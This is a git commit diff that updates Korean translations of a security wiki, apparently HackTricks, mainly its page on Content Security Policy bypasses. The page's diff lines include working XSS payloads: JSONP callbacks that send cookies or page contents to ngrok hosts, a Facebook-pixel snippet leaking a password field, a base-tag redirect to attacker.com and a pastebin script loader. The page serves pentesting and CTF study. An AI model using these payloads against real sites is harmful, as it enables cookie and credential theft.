Translated ['src/generic-methodologies-and-resources/external-recon-meth

This commit is contained in:
Translator 2025-01-27 16:55:34 +00:00
parent fd8549de36
commit 90830abd03
3 changed files with 50 additions and 47 deletions

View File

@ -78,6 +78,9 @@ def ref(matchobj):
sys.exit(1)
if href.endswith("/README.md"):
href = href.replace("/README.md", "/index.html")
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})

View File

@ -8,7 +8,7 @@
- [**Sourcebot**](https://www.sourcebot.dev/): 오픈 소스 코드 검색 도구. 현대적인 웹 인터페이스를 통해 수천 개의 리포지토리를 인덱싱하고 검색합니다.
- [**SourceGraph**](https://sourcegraph.com/search): 수백만 개의 리포지토리에서 검색합니다. 무료 버전과 15일 무료의 엔터프라이즈 버전이 있습니다. 정규 표현식을 지원합니다.
- [**Github Search**](https://github.com/search): Github 전역에서 검색합니다. 정규 표현식을 지원합니다.
- [**Github Search**](https://github.com/search): Github에서 검색합니다. 정규 표현식을 지원합니다.
- 아마도 [**Github Code Search**](https://cs.github.com/)도 확인하는 것이 유용할 것입니다.
- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Gitlab 프로젝트에서 검색합니다. 정규 표현식을 지원합니다.
- [**SearchCode**](https://searchcode.com/): 수백만 개의 프로젝트에서 코드를 검색합니다.

View File

@ -4,9 +4,9 @@
## What is CSP
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)과 같은 공격으로부터 보호하기 위한** 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout` 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 즉시 감지된 위반을 차단합니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항 즉시 차단합니다.
- Implemented via response header:
```
@ -25,7 +25,7 @@ CSP는 다음 헤더를 사용하여 시행되거나 모니터링될 수 있습
### Defining Resources
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 예시 정책은:
CSP는 활성 및 수동 콘텐츠 로딩의 출처를 제한하여 인라인 JavaScript 실행 및 `eval()` 사용과 같은 측면을 제어합니다. 정책의 예는:
```bash
default-src 'none';
img-src 'self';
@ -39,7 +39,7 @@ object-src 'none';
```
### 지시어
- **script-src**: JavaScript에 대한 특정 출처를 허용하며, 여기에는 URL, 인라인 스크립트 및 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거된 스크립트가 포함됩니다.
- **script-src**: JavaScript에 대한 특정 출처를 허용하며, URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다.
- **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
- **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
- **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
@ -52,7 +52,7 @@ object-src 'none';
- **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 출처를 정의합니다.
- **base-uri**: `<base>` 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.
- **form-action**: 폼 제출을 위한 유효한 엔드포인트를 나열합니다.
- **plugin-types**: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
- **plugin-types**: 페이지에서 호출할 수 있는 mime 유형을 제한합니다.
- **upgrade-insecure-requests**: 브라우저에 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
- **report-to**: 정책이 위반될 경우 보고서를 보낼 그룹을 지정합니다.
@ -66,11 +66,11 @@ object-src 'none';
- `'self'`: 동일한 도메인에서 로드를 허용합니다.
- `'data'`: 데이터 스킴을 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64 인코딩된 이미지).
- `'none'`: 어떤 출처에서도 로드를 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만, 보안상의 이유로 권장되지 않습니다.
- `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
- `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 인라인 리소스의 사용을 허용하지만, 보안상의 이유로 권장되지 않습니다.
- `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 인라인 리소스의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
- `'nonce'`: 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.
- JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고, 이를 사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 출처는 새로운 출처를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
- JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 출처는 새로운 출처를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
<details>
@ -161,13 +161,13 @@ JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
```
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**.
게다가, 서버에서 허용하는 확장자를 가진 파일에 **JS 코드를 포함하여** 업로드할 수 있다고 하더라도(예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 실행하는 것을 **거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **아파치가** _**.wave**_ 확장자를 인식하지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
게다가, 서버에서 허용하는 확장자를 사용하여 **파일 내에 JS 코드를 업로드할 수 있더라도** (예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 **실행하는 것을 거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **아파치가** _**.wave**_ 확장자를 인식하지 못하므로 **audio/\***와 같은 **MIME 유형으로 제공하지 않습니다**.
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자**를 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예](https://github.com/Polydet/polyglot-database)).
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자를** 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예](https://github.com/Polydet/polyglot-database)).
### Form-action
JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출하려고 시도할 수 있습니다(그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
JS를 주입할 수 없다면, 예를 들어 자격 증명을 **폼 액션을 주입하여** 유출하려고 시도할 수 있습니다 (그리고 아마도 비밀번호 관리자가 비밀번호를 자동으로 채우기를 기대할 수 있습니다). [**이 보고서에서 예를 찾을 수 있습니다**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한, `default-src`가 폼 액션을 포함하지 않는다는 점에 유의하세요.
### 제3자 엔드포인트 + ('unsafe-eval')
@ -274,7 +274,7 @@ script.google.com 내의 페이지에서 정보를 수신하기 위해 Google Ap
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
이와 같은 시나리오에서 `script-src``self`와 특정 도메인으로 설정되어 있는 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드:
이와 같은 시나리오에서 `script-src``self`와 특정 도메인으로 설정되어 있는 경우, JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있는 불안전한 콜백 메서드를 허용합니다. 작동하는 페이로드:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -284,7 +284,7 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 준비가 완료된 JSONP 엔드포인트를 포함합니다.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 즉시 사용 가능한 JSONP 엔드포인트를 포함하고 있습니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함된 경우** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
@ -318,8 +318,8 @@ Content-Security-Policy: connect-src www.facebook.com;
1. 여기에서 Facebook Developer 계정을 만듭니다.
2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.
4. 데이터 유출을 원하는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
4. 데이터 유출하는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "귀하의" 웹사이트에서 전송되는 이벤트를 확인합니다.
그런 다음, 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키며 다음과 같은 사용자 정의 이벤트를 발행합니다:
@ -329,11 +329,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
앞서 언급한 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서는 이를 악용할 수 있는 여러 가지 방법이 있습니다. 다른 서드파티 악용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
다른 일곱 개의 제3자 도메인에 대해서는, 이를 악용할 수 있는 많은 다른 방법이 있습니다. 다른 제3자 악용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
### RPO(상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
경로 제한을 우회하기 위한 앞서 언급한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다.
앞서 언급한 경로 제한 우회를 위한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(Relative Path Overwrite, RPO)라는 또 다른 기술이 있습니다.
예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용하는 경우, 다음과 같이 우회할 수 있습니다:
```html
@ -341,11 +341,11 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
브라우저는 궁극적으로 `https://example.com/scripts/angular/angular.js`를 로드합니다.
이것은 브라우저가 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있기 때문에 작동하며, 이는 CSP를 준수합니다.
이것은 브라우저가 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 이름의 파일을 로드하고 있기 때문에 작동하며, 이는 CSP를 준수합니다.
∑, 그들은 이를 디코딩하여 사실상 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되며, 이는 `https://example.com/scripts/angular/angular.js`와 동일합니다.
**브라우저와 서버 간의 URL 해석 불일치를 이용하여 경로 규칙을 우회할 수 있습니다.**
**브라우저와 서버 간의 URL 해석 불일치를 이용하여 경로 규칙을 우회할 수 있습니다.**
해결책은 서버 측에서 `%2f``/`로 처리하지 않도록 하여 브라우저와 서버 간의 일관된 해석을 보장하여 이 문제를 피하는 것입니다.
@ -361,7 +361,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)을 수행할 수 있습니다.
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`와 같은) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
취약한 페이지가 **httpS**로 로드되는 경우, base에 httpS URL을 사용하십시오.
```html
<base href="https://www.attacker.com/" />
@ -383,7 +383,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책은 콜백 함수 호출 및 특정 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 추가 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에서 제공되는 자세한 가이드를 참조하십시오.
Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트하는 CSP 정책은 콜백 함수의 호출과 특정 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 추가 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에서 제공되는 자세한 가이드를 참조하십시오.
작동하는 페이로드:
```html
@ -393,13 +393,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
### 리디렉션을 통한 우회
CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요? 리디렉션이 허용되지 않 다른 출처로 이어지면 여전히 실패합니다.
CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요? 리디렉션이 허용되지 않 다른 출처로 이어지면 여전히 실패합니다.
그러나 [CSP spec 4.2.2.3. 경로 및 리디렉션](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)에서 설명한 바와 같이, 리디렉션이 다른 경로로 이어지면 원래의 제한을 우회할 수 있습니다.
그러나 [CSP spec 4.2.2.3. 경로 및 리디렉션](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)에서 설명한 바에 따르면, 리디렉션이 다른 경로로 이어지면 원래의 제한을 우회할 수 있습니다.
예를 들어:
```html
@ -427,7 +427,7 @@ CSP가 `https://www.google.com/a/b/c/d`로 설정된 경우, 경로가 고려되
따라서 가장 좋은 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
### 매달린 마크업으로 CSP 우회
### 느슨한 마크업으로 CSP 우회
[여기에서 읽어보세요](../dangling-markup-html-scriptless-injection/index.html).
@ -462,7 +462,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
#### 크롬
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책**을 어떤 식으로든 **무용하게** 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'**을 **허용**할 수 있습니다:
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책**을 어떤 식으로든 **무용하게**드는 방식으로 **변경**할 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'**을 **허용**할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -472,13 +472,13 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
#### Edge
Edge에서는 훨씬 간단합니다. CSP에 단지 이것 추가할 수 있다면: **`;_`** **Edge**는 **정책** 전체를 **버립니다**.\
Edge에서는 훨씬 간단합니다. CSP에 단지 이것 추가할 수 있다면: **`;_`** **Edge**는 **정책** 전체를 **버립니다**.\
예시: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - 시간 공격
지시문 `'unsafe-inline'`의 부재에 주목하세요.\
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 `<iframe>`으로 **로드**하게 만들 수 있습니다. 이번에는 정보를 추출하고자 하는 페이지에 피해자가 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 **로드**하게 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 **플래그**가 추출될 것이며, SQLi를 통해 **문자가 올바르게 추측될 때마다** **응답**이 **더 많은 시간**을 소요하게 됩니다. 그러면 플래그를 추출할 수 있게 됩니다:
```html
@ -542,13 +542,13 @@ run()
```
### Via Bookmarklets
이 공격은 공격자가 **사용자가 브라우저의 북마클릿 위 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
이 공격은 공격자가 **사용자가 브라우저의 북마클릿 위 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭되거나 클릭될 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
자세한 내용은 [**원본 보고서를 여기에서 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **다른 스크립트를 악용하여 임의의 스크립트를 로드할 수 있게** 합니다.
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다.
**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**:
```html
@ -556,8 +556,8 @@ run()
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다:
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있었고, 그로 인해 CSTI를 방지하는 스크립트가 비활성화되어 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트를 비활성화하여 **입력**을 제거하고 **nonce**를 허용하며 **sha**를 통해 특정 인라인 스크립트를 활성화할 수 있습니다.
```html
<meta
http-equiv="Content-Security-Policy"
@ -568,38 +568,38 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 당신의 서버를 가리키게 할 수 있으며, **전송하고자 하는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 유발하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 당신이 **exfiltrate**하고자 하는 **JS content**를 **`<script>`**로 감싸면, CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 **trigger**하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
예시로 [**이 CTF 작성글을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
예시로 [**이 CTF writeup을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSP Iframe을 통한 정보 유출
### CSP Iframe을 통한 정보 유출
- `iframe`CSP에 의해 허용된 URL(예: `https://example.redirect.com`)을 가리키도록 생성됩니다.
- CSP에 의해 허용된 URL(예: `https://example.redirect.com`)을 가리키`iframe` 생성됩니다.
- 이 URL은 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션되며, 이는 CSP에 의해 **허용되지 않습니다**.
- `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.
Chrome Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있는 가능성을 초래합니다.
Chrome Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있니다.
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성되어 있다면, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다른 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성된 경우, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 다양한 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁힐 수 있으며, 결국 전체 URL을 밝혀낼 수 있습니다.
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁혀 나가고, 결국 전체 URL을 밝혀낼 수 있습니다.
두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 의도치 않게 민감한 정보를 유출할 수 있는지를 보여줍니다.
두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 민감한 정보를 우연히 유출할 수 있는지를 보여줍니다.
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSP 우회를 위한 안전하지 않은 기술
### 너무 많은 파라미터로 인한 PHP 오류
### 너무 많은 매개변수로 인한 PHP 오류
